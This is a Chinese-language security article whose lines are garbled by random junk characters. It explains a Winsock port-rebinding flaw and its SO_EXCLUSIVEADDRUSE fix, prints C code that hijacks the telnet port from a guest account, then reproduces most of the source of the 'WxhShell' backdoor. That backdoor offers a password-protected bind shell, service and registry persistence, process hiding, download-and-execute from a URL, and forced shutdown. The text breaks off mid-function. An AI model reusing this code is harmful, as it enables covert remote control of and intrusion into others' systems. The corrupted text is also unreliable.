在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
hO[3 Z^X s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
a ,7&" @/UfDye saddr.sin_family = AF_INET;
[\R>Xcu> q8ImrC.'^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-6sW6;Q 2u?zO7W)-L bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bAr` E D5?phyC[Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[@fz1{* wNE$6 这意味着什么?意味着可以进行如下的攻击:
zX{ .^| EC<b3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
D=RU`?L 3?&h^UX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
BGzI @
\2#Dpr 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`Pc3?~>0HH R.s|j= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
`P@- %T ]IJv-( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
buk=p-oi l2hG$idC 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wcDjg&:=ml "8V{5e!%j' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V,%L~dI SK$Vk[c] #include
2>em0{e #include
,)~E>[=+ #include
[&Hkn5yq #include
f c6g DWORD WINAPI ClientThread(LPVOID lpParam);
>u J/TQU int main()
x O7IzqY {
rsa&Oo
D> WORD wVersionRequested;
)R{UXk3q} DWORD ret;
jw6Tj;c WSADATA wsaData;
7 gB{In0 BOOL val;
/)uM[ dnai SOCKADDR_IN saddr;
NE|[o0On SOCKADDR_IN scaddr;
0=v{RQ;W4 int err;
*Dr5O 9Y SOCKET s;
+pqM ^3t|y SOCKET sc;
pJ,@Y> int caddsize;
Y|0ow_oH HANDLE mt;
VanB>|p6 DWORD tid;
}g f}eH wVersionRequested = MAKEWORD( 2, 2 );
`Iy4=nVb err = WSAStartup( wVersionRequested, &wsaData );
p
SN~DvR if ( err != 0 ) {
b~7drf printf("error!WSAStartup failed!\n");
h7qBp300 return -1;
MEwdw3 }
|)_-Bi;MW` saddr.sin_family = AF_INET;
:u%$0p> >CgO<\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\|Dei);k GO5 ~!g saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_>bRv+RVR saddr.sin_port = htons(23);
TA}UY7v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
EEf ]u7 {
R_Dc) printf("error!socket failed!\n");
)"O{D`uX return -1;
6&2LWaWMo$ }
;)!"Ty| val = TRUE;
G5]1s //SO_REUSEADDR选项就是可以实现端口重绑定的
9-jO,l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
KO]N%]:&~ {
w\|Ei( printf("error!setsockopt failed!\n");
\Rk$t7ZH return -1;
p*;Qz }
"EftN5?/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qg,Nb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
zXc}W*ymj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
xQt 3[(Z a}.Y!O& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
: \V,k~asl {
E1>/R ret=GetLastError();
|Svk^m q printf("error!bind failed!\n");
S-E++f9D~ return -1;
6 o[/F3` }
,&a`d}g&G listen(s,2);
"2HY5AE while(1)
4?]oV%aP) {
T<jfAE caddsize = sizeof(scaddr);
wFlV=!>, //接受连接请求
iH)Nk^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P6?0r_Y if(sc!=INVALID_SOCKET)
!eD+GDgE] {
L{ ^4DznI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
, &' Y if(mt==NULL)
=v" xmx&4 {
`"y{;PCt_ printf("Thread Creat Failed!\n");
>BqCkyM9Kf break;
Z^tGu7x }
ged,> }
gAE!aKy CloseHandle(mt);
kC^.4n
om }
StQ@g closesocket(s);
QdDtvJLf WSACleanup();
,# "(Z return 0;
oK-!(1A- }
IbdM9qo7 DWORD WINAPI ClientThread(LPVOID lpParam)
A'eAu {
t;Wotfc[#0 SOCKET ss = (SOCKET)lpParam;
No W!xLI SOCKET sc;
B/YcSEY; unsigned char buf[4096];
A_r<QYq0| SOCKADDR_IN saddr;
StM/ long num;
}]h\/, DWORD val;
Lk(S2$)* DWORD ret;
2bA#D%PHD //如果是隐藏端口应用的话,可以在此处加一些判断
zv%J=N$G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ZzL@[g saddr.sin_family = AF_INET;
F2oJ]th.3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^LO]Z saddr.sin_port = htons(23);
3YTIH2z5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5
;vC(Go {
+Hyk'=.W printf("error!socket failed!\n");
e(\Q)re5Q return -1;
zHxmA }
9A;6x$s val = 100;
wA0eG@xi) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o8D{dS>,PL {
vw
rRZ"2 ret = GetLastError();
@6%gIsj<H return -1;
2YIF=YWO}, }
G)+Ff5e0L[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6D*chvNA; {
Zps&[;R$- ret = GetLastError();
i]M"Cu* return -1;
EX 9Z{xX }
?Leyz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?Y!U*& 7 {
2}`R"MeS printf("error!socket connect failed!\n");
}1rvM4{/+f closesocket(sc);
i/:5jI| closesocket(ss);
+v1-.z return -1;
Dm4B }
F^sw0 .b while(1)
h3t$>vs2F" {
j#o3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%AgA -pBp //如果是嗅探内容的话,可以再此处进行内容分析和记录
$eCGez<E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+wts 7,3 num = recv(ss,buf,4096,0);
l4`^! if(num>0)
("F)
send(sc,buf,num,0);
5&|5 a} 8 else if(num==0)
NTVHnSoHh break;
,Qo}J@e( num = recv(sc,buf,4096,0);
nhT;b,G.Z if(num>0)
z.59]\;U> send(ss,buf,num,0);
_@|fva&s,; else if(num==0)
AgI > break;
HwW6tQ }
Gy^FrF closesocket(ss);
g =x"cs/[ closesocket(sc);
z"av|(?d return 0 ;
d
qpgf@ }
=jG?v'X G:hU{S7 a],h<wGEx ==========================================================
d"!yD/RD _jDS" 下边附上一个代码,,WXhSHELL
Ge~,[If+ %ph"PR/t? ==========================================================
7%tR&F -u THr8o V5 #include "stdafx.h"
c'~[!,[b<
Ut':$l= #include <stdio.h>
~%KM3Vap #include <string.h>
Uir*%*4: #include <windows.h>
?+Hp?i$1 #include <winsock2.h>
kXCY))vnn #include <winsvc.h>
)DRkS,I #include <urlmon.h>
4n4j=x]@ \AHY[WKx #pragma comment (lib, "Ws2_32.lib")
,M{Q}:$+4 #pragma comment (lib, "urlmon.lib")
Rj&qh` 'oCm.~;_ #define MAX_USER 100 // 最大客户端连接数
2b!j.T#u #define BUF_SOCK 200 // sock buffer
*k!(ti[ #define KEY_BUFF 255 // 输入 buffer
9c6 ' RCCv>o #define REBOOT 0 // 重启
qTS@D #define SHUTDOWN 1 // 关机
T(&kXMaB BP:(IP!& #define DEF_PORT 5000 // 监听端口
CX.SYr&!R SLg+H #define REG_LEN 16 // 注册表键长度
Q-jf8A] #define SVC_LEN 80 // NT服务名长度
hLSTSD} G#'Q~N // 从dll定义API
drs-mt8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Vl4Z_viNH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!+=Zjm4L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|a>}9:g,=* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y.(v{l Q;Q%SI`yT // wxhshell配置信息
99a\MH`^ struct WSCFG {
8Kk3_ y int ws_port; // 监听端口
^pN 5NwC5 char ws_passstr[REG_LEN]; // 口令
OH0S2?,{> int ws_autoins; // 安装标记, 1=yes 0=no
FQ0KUb}0 char ws_regname[REG_LEN]; // 注册表键名
~JAjr(G#o char ws_svcname[REG_LEN]; // 服务名
/=q.tDH=I char ws_svcdisp[SVC_LEN]; // 服务显示名
F G3Sk!O6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
,zD_% ox char ws_passmsg[SVC_LEN]; // 密码输入提示信息
**.:) int ws_downexe; // 下载执行标记, 1=yes 0=no
h)^dB,~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
RA}U#D:$i char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wLpkUa }$<^wt };
v7L"` ZWFG?8lJ // default Wxhshell configuration
#n=A)#'my struct WSCFG wscfg={DEF_PORT,
[f=.!\0\ "xuhuanlingzhe",
MSK'2+1T@g 1,
yAAG2c4( "Wxhshell",
kq>GMUl~@ "Wxhshell",
](_{,P "WxhShell Service",
Ny.*G@& "Wrsky Windows CmdShell Service",
_yNT=#/ "Please Input Your Password: ",
LSSW.Oz2L 1,
%V31B\]Nz7 "
http://www.wrsky.com/wxhshell.exe",
r?>V x- "Wxhshell.exe"
gm(De9u };
'YBi5_ |PI)A` // 消息定义模块
C1KfXC*|L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z^{+,$H@ char *msg_ws_prompt="\n\r? for help\n\r#>";
ix^gAot char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
E2kW=6VO>| char *msg_ws_ext="\n\rExit.";
;*W=c char *msg_ws_end="\n\rQuit.";
OI*ZVD)J char *msg_ws_boot="\n\rReboot...";
DCt\E/ char *msg_ws_poff="\n\rShutdown...";
|xp$OL"a char *msg_ws_down="\n\rSave to ";
Hw\([j* *}>Bkq9h char *msg_ws_err="\n\rErr!";
lxo.,n) char *msg_ws_ok="\n\rOK!";
.\Ul!&y ^p$1D char ExeFile[MAX_PATH];
L{Q4=p,A int nUser = 0;
pF|8OB% HANDLE handles[MAX_USER];
Ze#Jhn@ int OsIsNt;
Ir!2^:]! ] xb]8] SERVICE_STATUS serviceStatus;
<njIXa{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
{d^Q7A:` -xw98 // 函数声明
y!SF/i?Py int Install(void);
r@olC7& int Uninstall(void);
6`_! ?u7 int DownloadFile(char *sURL, SOCKET wsh);
u\M4`p!g= int Boot(int flag);
nDyvX1] void HideProc(void);
Vu_&~z7h int GetOsVer(void);
Z"-ntx# int Wxhshell(SOCKET wsl);
4pLQ"&>}80 void TalkWithClient(void *cs);
f( ]R/'o int CmdShell(SOCKET sock);
mPckf int StartFromService(void);
RV(
w%g int StartWxhshell(LPSTR lpCmdLine);
%I_&Ehu GXarUj s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Yr5iZ~V$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
{EOn r1 C5>{Q:.`e' // 数据结构和表定义
XI]OA7Zis SERVICE_TABLE_ENTRY DispatchTable[] =
hN& yc {
03~+-h&n {wscfg.ws_svcname, NTServiceMain},
^uC"dfH {NULL, NULL}
CKx\V+\O };
4Y`! bT` EfFj!)fz // 自我安装
F# jCEq int Install(void)
A
*a{ {
Jz=;mrW char svExeFile[MAX_PATH];
=*{K@p_ HKEY key;
w}IL
8L(D strcpy(svExeFile,ExeFile);
/
c+, N{ : [/ // 如果是win9x系统,修改注册表设为自启动
#:]vUQ if(!OsIsNt) {
yQ<6p3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_2]e1_= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F<h&3 RegCloseKey(key);
$eK8GMxZ# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J f\Qf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?nB helW^ RegCloseKey(key);
2ZU@>W return 0;
''$`;?t> }
&6` }
PXOrOK }
T^KCB\\< else {
2.^7?ok qJsQb // 如果是NT以上系统,安装为系统服务
.Ql;(Wyl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%T3j8fC{s if (schSCManager!=0)
hCU)W1q# {
p#ZMABlE,P SC_HANDLE schService = CreateService
K.:6YXVs< (
;[?J5X, schSCManager,
|hu"5* wscfg.ws_svcname,
2v"wWap-+ wscfg.ws_svcdisp,
r$b:1 C~ SERVICE_ALL_ACCESS,
!JT<(I2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
gUksO!7^1 SERVICE_AUTO_START,
R g%R/p)C SERVICE_ERROR_NORMAL,
hp?ad svExeFile,
&i4
(s%z# NULL,
rE/}hHU NULL,
=@bXGMsV! NULL,
;e&hM\p NULL,
Q'FX:[@x-S NULL
DH}s1mNMP );
uU8*$+ " if (schService!=0)
PFImqojHd {
L4>14D\ CloseServiceHandle(schService);
jeu'K vhe CloseServiceHandle(schSCManager);
aZN?V}^+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
FDMQLx f strcat(svExeFile,wscfg.ws_svcname);
Z hfp>D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~}.C*;J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
rNP;53FtZl RegCloseKey(key);
ZcN0:xU return 0;
6}^x#9\ }
I-]G{ }
]9oj,k CloseServiceHandle(schSCManager);
-9b=-K.y }
_3`GZeGV }
kL'4m ~H}Z;n]H return 1;
T
lXS}5^ }
C4mkt2Eb0a gP%<<yl // 自我卸载
3:,%>#" int Uninstall(void)
!> sA.L&= {
X-\$<DiJGv HKEY key;
9q`Ewj R QVT0.GzR if(!OsIsNt) {
e>MtDJ5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2{ F-@}= RegDeleteValue(key,wscfg.ws_regname);
|]&3*%b@ RegCloseKey(key);
LJeq{Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#{6VdWZ RegDeleteValue(key,wscfg.ws_regname);
xWxHi6U( RegCloseKey(key);
*~PB return 0;
LIDi0jbrq }
S5).\1m h[ }
j gV^{8qG }
eDo4>k"5 else {
:Gz$(!j1.' h-.^*=]R6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
uA`e if (schSCManager!=0)
#WA7}tHb {
Eoz/]b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ym
p*:lH( if (schService!=0)
Bl)D/ {
'>OEQU5- if(DeleteService(schService)!=0) {
)1 @v<I CloseServiceHandle(schService);
!}A`6z CloseServiceHandle(schSCManager);
4PC'7V=S return 0;
\>T1&JT }
]Y
&
2& CloseServiceHandle(schService);
z@~ZMk }
8<Nz34Y CloseServiceHandle(schSCManager);
0?R$>=u }
/3+E-|4s }
0$XrtnM W9Us I return 1;
vU/sQt8 }
2+|r*2_glo Gj#BG49g2 // 从指定url下载文件
)p!")
:'fv int DownloadFile(char *sURL, SOCKET wsh)
`U?S 9m {
mGz'%?zj HRESULT hr;
sS)tSt{C char seps[]= "/";
zv1,DnkqF char *token;
v&sp;%I6= char *file;
cLp9|y0r char myURL[MAX_PATH];
WnQ'I=E#~ char myFILE[MAX_PATH];
\#h=pz+jb Jx3a7CpX strcpy(myURL,sURL);
7DW-brd
token=strtok(myURL,seps);
)W @ while(token!=NULL)
L7II>^"B {
R^E-9S\@ file=token;
WUDXx % token=strtok(NULL,seps);
7Aw <: }
J_
h\tM 8=\k<X{` GetCurrentDirectory(MAX_PATH,myFILE);
v@X[0J_8 strcat(myFILE, "\\");
Mc strcat(myFILE, file);
JjAO9j% send(wsh,myFILE,strlen(myFILE),0);
}WQ:Rmi send(wsh,"...",3,0);
qyIy xJ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<^Q`
y if(hr==S_OK)
EU5(s*A return 0;
+SRM?av else
rI:]''PR return 1;
F7p`zf@O] X bV?= }
(_q&QI0{ d{^K8T3 // 系统电源模块
7")&njQ/x int Boot(int flag)
^-}3+YA {
lZ+1A0e HANDLE hToken;
.b%mr:nEt7 TOKEN_PRIVILEGES tkp;
]sI{+$~:c |qk%UN< if(OsIsNt) {
51%<N\>/4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D@mqfi(x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m<9W# tkp.PrivilegeCount = 1;
,g)9ZP.F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w68VOymD/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
V[|k:($ if(flag==REBOOT) {
-}JRsQ+rgM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
atFu
KYI return 0;
FLlL0Gu }
I8hmn@ce else {
YAF0I%PYU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
qr/N ?, return 0;
\AR3DDm }
6dCqS }
iu,Bmf^oD else {
ffQ&1T< if(flag==REBOOT) {
HLt;1:b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
E }w<-]8 return 0;
PI")^` }
j%&^qD,
else {
iQaF R@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
f1VA61z{) return 0;
20uR? /|@ }
*r3u=oWb }
-aMwC5iR@ K[|d7e return 1;
jd DcmR }
Xp3cYS*u dv\oVD // win9x进程隐藏模块
d7QQ5FiB void HideProc(void)
4VL]v9 {
{Q~A;t HaamLu HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
jZY9Lx8o if ( hKernel != NULL )
>^Z! {
`Tf<w+H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:!EOg4%i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
l:kF0tj" FreeLibrary(hKernel);
tU7eW#"w }
A&0sD}I\K Uz!cVs?- return;
7,"1%^tU }
v4<x 4 dTP$7nfe // 获取操作系统版本
*o[*,1Pw int GetOsVer(void)
L``K. DF {
P3YG:* OSVERSIONINFO winfo;
bsmnh_YRj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Om2
)$( GetVersionEx(&winfo);
(iiyptJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tL4xHa6v] return 1;
^Sr`)vP else
0)qLW&
w return 0;
SIRZ_lt$r }
R\=y/tw0H :FdV$E]]< // 客户端句柄模块
*K\/5Fzl int Wxhshell(SOCKET wsl)
UkL'h&J~ {
f-6E> SOCKET wsh;
^\\cGJ&8c struct sockaddr_in client;
T3{qn$t8 DWORD myID;
jX{lo $wVY)p9Q while(nUser<MAX_USER)
DI!l.w5P_ {
nyPA`)5F0 int nSize=sizeof(client);
GRj{*zs wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
gGdZ}9 if(wsh==INVALID_SOCKET) return 1;
ZA ii"F o*QhoDjc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^f1}:g if(handles[nUser]==0)
fr\UX}o closesocket(wsh);
@,sg^KB else
?
B^*YCo7( nUser++;
4 ITSDx }
15gI-Qb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1}!f.cWV( =RUKN38 return 0;
0:nQGX!N }
t9x.O *4[3?~_B#6 // 关闭 socket
kF.PLn'iS void CloseIt(SOCKET wsh)
Px K {
{{=7 mbc closesocket(wsh);
QkzPzbF" nUser--;
`&>!a ExitThread(0);
w>rglm& }
f.'o4HSj ./ib{ @A. // 客户端请求句柄
^QV;[ha,o void TalkWithClient(void *cs)
A0WQZt!FEN {
M>_S%V4a t/S~CIA SOCKET wsh=(SOCKET)cs;
mnXaf)" char pwd[SVC_LEN];
H,=??wN char cmd[KEY_BUFF];
poHDA=#
3 char chr[1];
'&T4ryq3" int i,j;
lTdYPqMi r"rID
RQ" while (nUser < MAX_USER) {
Mp$ uEi $K8ZxH1z@ if(wscfg.ws_passstr) {
c#`Z[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S3j/(BG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M* QqiE //ZeroMemory(pwd,KEY_BUFF);
kAbT&Rm" i=0;
JVTG3:zD while(i<SVC_LEN) {
2@ACmh oChcEx% // 设置超时
WE`Y! fd_set FdRead;
|2c '0Ibu struct timeval TimeOut;
Q9#$4 FD_ZERO(&FdRead);
O*yc8fUI FD_SET(wsh,&FdRead);
{q8V TimeOut.tv_sec=8;
R`>E_SY TimeOut.tv_usec=0;
[N#2uo int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Cg21-G. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
qdj,Qz9ly 9[6*FAFJPP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
rxCuV pwd
=chr[0]; <h7C_^L10\
if(chr[0]==0xd || chr[0]==0xa) { l=
!KZaH
pwd=0; vM\8>p*U
break; HPwmi[
}
{v]A`u)
i++; c+|,2e
0T
} %qfEFhRC
>48zRi\N
// 如果是非法用户,关闭 socket I#S6k%-'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0Km{fZYq7;
} {?BxVDD07
XRj<2U5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cKK 1$x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6]Ppa ~Xwq
tq>QZEg
while(1) { eyl+D sK
D,1S-<
ZeroMemory(cmd,KEY_BUFF); uj;-HN)6
<tgJ-rnL
// 自动支持客户端 telnet标准 [al$7R&
j=0; 4(
^Ht
while(j<KEY_BUFF) { ,n~H]66n
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A*~zdZ p
cmd[j]=chr[0]; 7PP76$
if(chr[0]==0xa || chr[0]==0xd) { .wS' Xn&
cmd[j]=0; xk.\IrB_
break; }3^t,>I=,6
} Scs \nF2
j++; B7T(9Tj+Fh
} M_UhFY='
OES+BXGX
// 下载文件 i>q]U:U
if(strstr(cmd,"http://")) { g;eMsoJG
send(wsh,msg_ws_down,strlen(msg_ws_down),0); IM)\-O\Wd
if(DownloadFile(cmd,wsh)) @y)-!MHN(8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z+NXD4
else VwHTtZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hq$:62NYg
} 2Wq)y1R<T
else { ^B>
4:+^
m/%sBw\rx
switch(cmd[0]) { 07# ~cVI
!1)lGjMW
// 帮助 Sep}{`u
case '?': { +@AN+!(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p?=rQte([
break; +!dIEt).U
} (PE"_80Z
// 安装 pvP|.sw5G
case 'i': { r/+<_3
if(Install()) (?I8/KYR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #U(dleT8
else |zGwt Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 70a7}C\/o
break;
"+r8izB
} 7oh6G
// 卸载 ]6W#P7
case 'r': { B.;/N220P
if(Uninstall()) -`FTWH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)zSjFX9
else HpuHJ#l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BRFA%FZ,
break; %{5mkO&,2
} FSIV\ u
// 显示 wxhshell 所在路径 d1 D{wZ3g
case 'p': { t!AHTtI
char svExeFile[MAX_PATH]; P[?~KNS:/
strcpy(svExeFile,"\n\r"); W(1p0|WQ:
strcat(svExeFile,ExeFile); Fla,#uB
send(wsh,svExeFile,strlen(svExeFile),0); QrHI}r
break; [F*t2 -ta
} X'IW&^kI
// 重启 'kL>F&|
case 'b': { {Z3B#,V(g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (p-a;.Twj
if(Boot(REBOOT)) Bk?3lwCT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j$n[;\]n
else { wz$1^ml
closesocket(wsh); /^
hB6_'D
ExitThread(0); }.$oZo9J
} }rxFX
break; o2@8w[r
} O (<Wn-
// 关机 _}EGk4E
case 'd': { mfIY7DP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nf%jLK~
if(Boot(SHUTDOWN)) $A9!} `V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q!$?G]-%
else { lnEc5J@c>i
closesocket(wsh); c&e?_@}|
ExitThread(0); Gc<J x|Q7
} 5<<e_n.2q
break; `
Cdk
b5
} CY?]o4IV
// 获取shell [kMXr'TyPX
case 's': { c1'OIK C
CmdShell(wsh); <:W]u T
closesocket(wsh); WhMr'l/e
ExitThread(0); #^"\WG7{
break; E#URTt:&>
} #'mb9GWD3
// 退出 pj6Q0h)
case 'x': { Pv1C o:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _~d C>`K
CloseIt(wsh); Y
[0S
break; #U{^L{1Gx
} 3o%JJIn&
// 离开 3x#=@i
case 'q': { VTa?y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); qN1(mxa.?
closesocket(wsh); - (VV
WSACleanup(); `Yn^ -W
exit(1); vHZw{'5y
break; K8$Hg:Ky-/
} lNs 'jaD
} l[.*X
} >&f .^p
gEcVQPD@
// 提示信息 (9CB&LZ(+E
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '""qMRCm
} .;u(uB;J6
} 43W>4fsc
5H1SC8+B,
return; IpXg2QbN
} %qcBM~efT
if9I7@
// shell模块句柄 `o8b\p\zn
int CmdShell(SOCKET sock) L%ND?'@
{ 4NMv7[r
STARTUPINFO si; `zAV#
ZeroMemory(&si,sizeof(si)); l!ltgj
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hv>A$x$q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6]Q
~c"+5
PROCESS_INFORMATION ProcessInfo;
Ash"D~
char cmdline[]="cmd"; [R)?93
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z%Ywjfn'
return 0; pv+FPB
} J*F-tRuEw
S
U~vS
// 自身启动模式 c|x:]W'ij
int StartFromService(void) [CGvM{
{ j01.`G7Q
typedef struct KW+ps16~
{ ?d-(M' v.
DWORD ExitStatus; DKqFe5rw
DWORD PebBaseAddress; ;TD<\1HJT=
DWORD AffinityMask; S ])YU?e
DWORD BasePriority; .J#xlOa-
ULONG UniqueProcessId; AMA:hQ
